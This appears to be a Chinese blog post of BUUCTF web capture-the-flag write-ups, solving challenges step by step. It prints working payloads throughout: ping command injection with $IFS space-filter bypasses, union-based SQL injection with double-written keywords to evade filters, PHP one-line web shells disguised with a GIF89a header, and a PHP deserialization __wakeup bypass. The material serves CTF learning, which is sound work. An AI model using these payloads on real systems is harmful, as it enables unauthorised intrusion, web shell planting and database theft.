[BUUCTF]Web刷题记录

2023-05-08,,

为提升观感体验,本篇博文长期更新,新题目以二次编辑形式附在最后

[ACTF2020 新生赛]Exec

打开后发现网页是关于执行一个ping指令,经过测试是直接执行的,所以就直接命令执行了

127.0.0.1 | cat /flag

总结一下常见的Linux管道符

    |按位或,直接执行|后面的语句
    ||逻辑或,如果前面命令是错的那么就执行后面的语句,否则只执行前面的语句
    &按位与,&前面和后面的都要执行,无论前面真假
    &&逻辑与,如果前面为假,后面的命令也不执行,如果前面为真则执行两条命令

[GXYCTF2019]Ping Ping Ping

打开可以看到很明显的提示,传参就是ip=,尝试传入/?ip=127.0.0.1,有回显,说明这是命令执行注入了,先用ls看看有什么文件
得到了一个f语言的回显,很明显空格会被过滤,所以我们尝试去掉空格

成功,下一步就开始考虑如何看到flag.php里面的内容,首先的问题就是如何绕过空格过滤,这里整理一下常见的空格过滤方法

\(IFS
\){IFS}

$IFS$1 //\(1改成\)加其他数字都可以

<

<>

{cat,flag.php} //用逗号实现了空格功能

%20

%09

尝试最后使用$IFS$IFS$1都可以成功绕过,以此来cat一下/?ip=127.0.0.1|cat$IFSflag.php

emm看起来不太友好,看来flag关键词也被过滤了,那就先试试看index.php,使用\(IFS没有回显,尝试使用\)IFS$1,成功得到回显

现在思路清晰了,接下来就是考虑如何显示flag.php的问题了,我们可以尝试使用反引号内联执行的做法,linux下反引号里面包含的就是需要执行的系统命令,而反引号里面的系统命令会先执行,成功执行后将结果传递给调用它的命令<br />`/?ip=127.0.0.1;cat$IFS`ls

这时候查看源代码即可得到最终的flag

[极客大挑战 2019]LoveSQL

开屏一道SQL注入题目,先试试万能密码
http://bbebaf1d-6128-4a49-9450-c1b729df9780.node4.buuoj.cn:81/check.php?username=admin' or '1'='1&password=1

md5解密失败,回到注入的思路上

/check.php?username=admin' order by 3%23&password=1

字段数为3时,回显正常,使用union查询回显点位

/check.php
?username=1' union select 1,2,3%23
&password=1

得到回显点位为2和3,查询数据库相关信息

/check.php?username=1' union select 1,database(),version()%23
&password=1

接着查询表名

/check.php?username=1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23&password=1

可以得到如上两个表,接着爆破各个表的字段

/check.php?username=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='geekuser'%23&password=1

/check.php?username=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1'%23&password=1

两个表均为以上结果,接着爆破各个表的数据

/check.php?username=1' union select 1,2,group_concat(id,username,password) from geekuser%23&password=1

/check.php?username=1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1%23&password=1

可以看到flag已经找到了,本题得解

[极客大挑战 2019]Knife

打开可以看到赫然显示着eval($_POST["Syc"]);,再根据题目Knife,明显是要用菜刀来解决,传参就是用Syc,因此打开蚁剑,尝试连接,成功

在根目录下找到了flag,本题得解

[极客大挑战 2019]Http

打开网页查看内容

要求必须用https://Sycsecret.buuoj.cn访问,因此传入bp,加上Referer:https://Sycsecret.buuoj.cn再次请求

还需要浏览器标识为Syclover,因此再加上User-Agent: Syclover

提示只能从本地访问,那么还需要再加上x-Forwarded-For:127.0.0.1,终于显示了flag,题目得解

[极客大挑战 2019]Upload

访问之后是一个文件上传的页面,接着就可以想到上传一句话木马进行控制
创建文件1.phtml,填写内容

<script language="php">eval($_POST['shell']);</script>

接着上传,用bp抓包修改文件类型为image/jpeg,上传失败,提示Do not lie me,怀疑是对图片内容有检测,因此在这之前再加上一部分

GIF89a
<script language="php">eval($_POST['shell']);</script>

上传成功,接着猜测文件保存的位置,首先猜测路径为upload,那么打开蚁剑尝试一下,连接成功,在根目录下即可找到flag

[ACTF2020 新生赛]Upload

打开题目后发现还是一个上传问题,故猜测和上题解题思路一致,上传一句话木马提示只能上传图片格式,接着用开发者工具进行元素审查

可以看到这里调用了checkFile的js函数进行审查,所以审查元素将这部分删去,这里我直接删去了return false部分

测试,上传成功,蚁剑连接即可getshell

[极客大挑战 2019]BabySQL

打开一看,映入眼帘的和之前的那道SQL题目差别不大,上来先试万能密码,发现or用不了,遂再测试其他使用方法

/check.php?username=admin&password=1 %27 union select 1 %23

发现union和select被过滤了,再双写试一下

/check.php?username=admin&password=1 %27 ununionion seselectlect 1 %23

看到这里基本上这一步就稳了,接下来就是试列数,逐个递增尝试,最终在3处注入成功,得到了回显

/check.php?username=admin&password=1 %27 ununionion seselectlect 1,2,3 %23

接下来爆破数据库

/check.php?username=admin&password=1 %27 ununionion seselectlect 1,2,database() %23

得到数据库为geek,接着尝试爆处所有的数据库

/check.php?username=admin&password=1 %27 ununionion seselectlect 1,2,group_concat(schema_name)frfromom
(infoorrmation_schema.schemata) %23

在这里看到一个ctf的库比较可疑,进行爆破

/check.php?username=admin&password=1 %27 ununionion seselectlect 1,2,group_concat(table_name)frfromom(infoorrmation_schema.tables)
whwhereere table_schema="ctf" %23

找到一个flag表,接着爆破其中的字段

/check.php?username=admin&password=1 %27 ununionion seselectlect 1,2,group_concat(column_name) frfromom (infoorrmation_schema.columns) whwhereere
table_name="Flag" %23

再根据字段名flag爆数据

/check.php?username=admin&password=1 %27 ununionion seselectlect 1,2,group_concat(flag)frfromom(ctf.Flag) %23

本题得解

[极客大挑战 2019]PHP

看到网页内部有提示网站备份,所以用dirsearch扫描一下网站目录,找到了www.zip,这就是我们需要的网站备份文件,直接下载打开后,在index.php里面找到了一段加载class.php文件的函数,然后用GET传递了一个select参数,随后将其反序列化

打开具体看class.php内容

<?php
include 'flag.php'; error_reporting(0); class Name{
private $username = 'nonono';
private $password = 'yesyes'; public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
} function __wakeup(){
$this->username = 'guest';
} function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die(); }
}
}
?>

根据代码的意思可以知道,如果password=100,username=admin,在执行__destruct()的时候可以获得flag,因此我们构造反序列化

<?php

class Name{
private $username = 'nonono';
private $password = 'yesyes'; public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
}
$a = new Name('admin', 100);
var_dump(serialize($a)); ?>

保存运行后得到反序列化

O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

在反序列化的时候会首先执行__wakeup()魔术方法,但是这个方法会把我们的username重新赋值,所以我们跳过__wakeup()转而执行__destruct

跳过__wakeup()

在反序列化字符串时,属性个数的值大于实际属性个数时,会跳过 __wakeup()函数,因此我们修改反序列化内容

O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

private

上述声明变量是private,private 声明的字段为私有字段,只在所声明的类中可见,在该类的子类和该类的对象实例中均不可见。因此私有字段的字段名在序列化时,类名和字段名前面都会加上0的前缀。字符串长度也包括所加前缀的长度

我们再次改造

O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

测试

使用get请求把我们准备好的序列化当作select的参数传递过去

/?select=O:4:%22Name%22:3:{s:14:%22%00Name%00username%22;s:5:%22admin%22;s:14:%22%00Name%00password%22;i:100;}

成功得到flag,本题得解

[BUUCTF]Web题记录的相关教程结束。

《[BUUCTF]Web刷题记录.doc》

下载本文的Word格式文档,以方便收藏与打印。